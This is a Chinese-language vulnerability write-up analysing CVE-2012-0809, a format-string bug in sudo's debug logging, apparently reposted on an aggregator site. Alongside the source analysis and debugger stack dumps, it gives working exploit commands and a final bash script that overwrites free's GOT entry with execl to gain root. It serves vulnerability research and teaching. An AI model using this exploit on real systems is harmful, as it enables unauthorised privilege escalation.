当前位置: 首页 > news >正文

cve-2012-0809 sudo格式化字符串漏洞分析及利用

摘要

程序基本信息:

  1. 目标架构:x86
  2. 可绕过保护:NX、ASLR、canary
  3. 漏洞类型:格式化字符串

应用简介:

sudo

漏洞成因:

漏洞代码位于src\sudo.csudo_debug。在该函数中,程序通过库函数getprogname获取文件名,简单拼接入fmt2后直接通过vfprintf打印至标准错误流。因此存在格式化字符串漏洞。

利用思路:

将后续执行的库函数free的got表项改为execl

一、漏洞简介

CVE-2012-0809 是 Sudo 1.8.0 ~ 1.8.3p1 版本中的一个高危格式化字符串漏洞,攻击者可通过控制程序名(argv[0])实现任意代码执行,最终获取 root 权限。

二、漏洞复现

1.环境配置

操作系统:Ubuntu 20.04

架构:i386

gcc:9.4.0

编译前须安装32位依赖库。

sudo apt-get install libpam0g:i386
cd /lib/i386_linux_gnu
ln -s libpam.so.0 libpam.so

编译时关闭pie与releo,编译完成后还须对sudo进行setuid。

export CFLAGS="-no-pie -z norelro -U_FORTIFY_SOURCE -g -O2 -m32"
export LDFLAGS="-no-pie -z norelro -U_FORTIFY_SOURCE -m32"
./configure && make && sudo make install
cd src
sudo chown root:root ./sudo
sudo chmod 4755 ./sudo

在这里插入图片描述

2.漏洞复现

在命令中通过-D<level>参数设置debug模式可使sudo调用sudo_debug函数输出信息。若创建sudo可执行文件的软链接,通过软链接执行,则程序会获取软链接的文件名而非sudo。若软链接为格式化字符串,则可触发格式化字符串漏洞。

ln -s ./sudo %p-%p-%p-%p
./%p-%p-%p-%p -D9

在这里插入图片描述

精心构造软链接的文件名可进一步利用该漏洞,达成任意代码执行与权限提升。

ln -s ./sudo $(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$s"')
./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$s"') -D9 -b $(perl -e 'print "\x61\xc1\x05\x08", "\x60\xc1\x05\x08"')

在这里插入图片描述

三、漏洞分析

漏洞代码位于src\sudo.csudo_debug中。

/** Simple debugging/logging.*/
void
sudo_debug(int level, const char *fmt, ...)
{va_list ap;char *fmt2;if (level > debug_level)return;/* Backet fmt with program name and a newline to make it a single write */easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);va_start(ap, fmt);vfprintf(stderr, fmt2, ap);va_end(ap);efree(fmt2);
}

在该函数中,程序通过库函数getprogname获取文件名,简单拼接入fmt2后直接通过vfprintf打印至标准错误流。因此存在格式化字符串漏洞。

四、利用代码

可见sudo_debug在打印信息之后会通过efree释放fmt2的空间。efree定义于common\alloc.c,代码如下:

/** Wrapper for free(3) so we can depend on C89 semantics.*/
void
efree(void *ptr)
{if (ptr != NULL)free(ptr);
}

因此此处选择的利用方式为:通过格式化字符串覆写free的got表值以劫持控制流。

程序通过getprogname获取到的文件名字符串位于堆上,难以将覆写的目标地址置于格式化字符串中,以此考虑将目标地址放在命令参数当中。在gdb 中进行调试,将断点打在vfprintf并观察栈空间,结果如下:

r -D9 -b aaaabbbb

在这里插入图片描述

可见成功通过命令参数将目标地址传递到了栈上。

在sudo的got表中,存在两个exec族的库函数:

pwndbg> got free
[0x805c160] free@GLIBC_2.0 -> 0x804a110 ◂— endbr32pwndbg> got exec
[0x805c248] execve@GLIBC_2.0 -> 0x804a4b0 ◂— endbr32 
[0x805c28c] execl@GLIBC_2.0 -> 0x804a5c0 ◂— endbr32 

execve有三个参数,分别为字符串filename,指针数组argv与指针数组envp;execl有四个参数,前三个参数分别为字符串path,字符串filename与指针数组envp,第四个参数必须为null。须根据跳转至free时的栈布局决定覆盖为哪个函数。跳转时的栈布局如下:

Breakpoint 1, 0x08053cdf in efree (ptr=0x8af59d0) at ./alloc.c:228
228		free(ptr);
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────
*EAX  0x8af59d0 ◂— 'sudo: settings: %s=%s\n'EBX  0x805d000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x805cee8 (_DYNAMIC) ◂— 1
*ECX  0xffffffff
*EDX  0x1eEDI  0ESI  0x805da30 (sudo_settings+16) —▸ 0x8056e97 ◂— 'debug_level'EBP  0
*ESP  0xff9438e0 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
*EIP  0x8053cdf (efree+31) —▸ 0xff6bfce8 ◂— 0
───────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────► 0x8053cdf <efree+31>     call   free@plt                    <free@plt>ptr: 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'0x8053ce4 <efree+36>     add    esp, 0x100x8053ce7 <efree+39>     add    esp, 80x8053cea <efree+42>     pop    ebx0x8053ceb <efree+43>     ret    0x8053cec                nop    0x8053cee                nop    0x8053cf0 <atobool>      endbr32 0x8053cf4 <atobool+4>    push   esi0x8053cf5 <atobool+5>    push   ebx0x8053cf6 <atobool+6>    call   __x86.get_pc_thunk.bx       <__x86.get_pc_thunk.bx>
───────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────
In file: /home/test/桌面/sudo-SUDO_1_8_2/common/alloc.c:228223  */224 void225 efree(void *ptr)226 {227     if (ptr != NULL)228         free(ptr);229 }
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ esp 0xff9438e0 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
01:00040xff9438e4 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
02:00080xff9438e8 —▸ 0xff943938 —▸ 0x8056e97 ◂— 'debug_level'
03:000c│     0xff9438ec ◂— 0
04:00100xff9438f0 —▸ 0xf7ef1db8 (stderr) —▸ 0xf7ef1c80 (_IO_2_1_stderr_) ◂— 0xfbad2887
05:00140xff9438f4 —▸ 0x8053cca (efree+10) ◂— add ebx, 0x9336
06:00180xff9438f8 —▸ 0x805d000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x805cee8 (_DYNAMIC) ◂— 1
07:001c│     0xff9438fc —▸ 0x8051c1e (sudo_debug+110) ◂— add esp, 0x10
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────► 0 0x8053cdf efree+311 0x8051c1e sudo_debug+1102 0x8050947 parse_args+18153 0x804b21f main+5754 0xf7d20ed5 __libc_start_main+245

分析栈布局可知,调用free时,栈上的布局中,前两个参数均为被vfprintf打印的调试信息fmt2,第三个参数位于src\phase_args.c中定义于堆上的数组sudo_settings中:

static struct sudo_settings {const char *name;const char *value;
} sudo_settings[] = {
#define ARG_BSDAUTH_TYPE 0{ "bsdauth_type" },
#define ARG_LOGIN_CLASS 1{ "login_class" },
#define ARG_DEBUG_LEVEL 2{ "debug_level" },
//……
};

若要使用execve,则须将第二个参数修改为字符串指针数组。但在c中,字符串指针数组同样须以null结尾。由于此处内容为文件名,此处漏洞又无法修改格式化字符串自身,因此难以将参数修改为字符串指针数组;若使用execl,则所有参数严丝合缝,无需任何修改。因此最终选择将free的got表修改为execl,使其执行文件名为fmt2内容的可执行文件。

sudo是setuid程序,在启动该程序时,进程的euid即为0,在通过身份认证之后再通过setuid向内核申请权限,这是sudo获取权限的基础逻辑。而使用exec函数族执行程序时,只会替换执行程序,不会替换进程的euid,因此该漏洞可实现提权。验证代码如下:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>int main() {uid_t real_uid = getuid();uid_t effective_uid = geteuid();printf("Real UID (RUID):      %d\n", real_uid);printf("Effective UID (EUID): %d\n", effective_uid);return 0;
}

将其编译为可执行文件,直接执行时,euid为当前用户的uid;通过该漏洞执行时,euid为0.

在这里插入图片描述

最终exp如下:

#!/bin/bashln -s ./sudo ./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$x"')
mv test $'%165c%272$hhn%27c%273$hhn%273$x: settings: %s=%s\n'
./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$x"') -D9 -b $(perl -e 'print "\x61\xc1\x05\x08", "\x60\xc1\x05\x08"')

改进思路

在将got表地址写入栈上时,无论命令行参数还是环境变量,其类型均为字符串数组,其排列均是无对齐的;并且最终目标地址与格式化字符串的偏移并非固定,也受其它参数与环境变量的影响。这导致gdb的调试结果与实际环境的运行结果往往大相径庭,最终导致需要反复尝试校准格式化字符串的参数偏移。改进思路如下:

  1. 假定原始输入为[addr1][addr2][addr3][addr4],则可以设置四种偏移,确保整段输入中必定有一部分是对齐的,即:[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]。上述输入中被-分割为四段,这四段中必定有一段是四字节对齐的,因此可以利用该段对齐的输入,将got表地址写入该段,并设置偏移为该段对齐的偏移量,即可实现任意地址写入。此方法可以避免调试时须不断修改传入参数的内容以对齐的问题。

  2. 针对偏移不固定的问题,可以借鉴ret2shell中通过nop进行滑动以增加容错的方法,也将上述输入复制多分,即:[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=···通过这种方法在内存中开辟一段区域,使得格式化字符串的参数相对容易指向该区域内,如此即可大幅降低工作量。

http://www.dtcms.com/a/284564.html

相关文章:

  • TASK01【datawhale组队学习】地瓜机器人具身智能概述
  • Jmeter系列(八)-定时器(待更新)
  • 电缆安全双保险:不止防盗,更能防触电的塔能智慧照明守护方案
  • 【推荐100个unity插件】使用C#或者unity实现爬虫爬取静态网页数据——Html Agility Pack (HAP)库和XPath 语法的使用
  • 腾讯位置商业授权鸿蒙地图SDK
  • 【中等】题解力扣22:括号生成
  • 【专题十二】栈
  • 调用接口报错,使用postman调用就没问题如何解决
  • Redis 生产实战 7×24:容量规划、性能调优、故障演练与成本治理 40 条军规
  • Apollo10.0学习——control模块(2)之纵向控制器参数说明
  • Redisson布隆过滤器原理以及解决Redis缓存穿透方案
  • 单片机(STM32-时钟系统)
  • js是实现记住密码自动填充功能
  • PyCharm 高效入门指南:从安装到进阶,解锁 Python 开发全流程
  • EXCEL VBA合并当前工作簿的所有工作表sheet
  • 切比雪夫不等式的理解以及推导【超详细笔记】
  • C语言---动态内存管理
  • 李宏毅《生成式人工智能导论》 | 第15讲-第18讲:生成的策略-影像有关的生成式AI
  • Google(谷歌)搜索引擎蜘蛛IP地址段
  • ubuntu--curl
  • 《Java Web 核心:Servlet、会话与过滤器笔记》
  • AndroidStudio环境搭建
  • vue svg实现一个环形进度条组件
  • 石子入水波纹效果:顶点扰动着色器实现
  • 【44】MFC入门到精通——MFC 通过Button按钮添加控件变量实现:按下 按钮变色 (比如开关 打开关闭状态) MFC更改button控颜色
  • Git简介与特点:从Linux到分布式版本控制的革命
  • 找不到或无法加载主类 org.gradle.wrapper.GradleWrapperMain
  • Linux Swap区深度解析:为何禁用?何时需要?
  • 【Java EE初阶 --- 网络原理】网络编程
  • Vue3 + WebSocket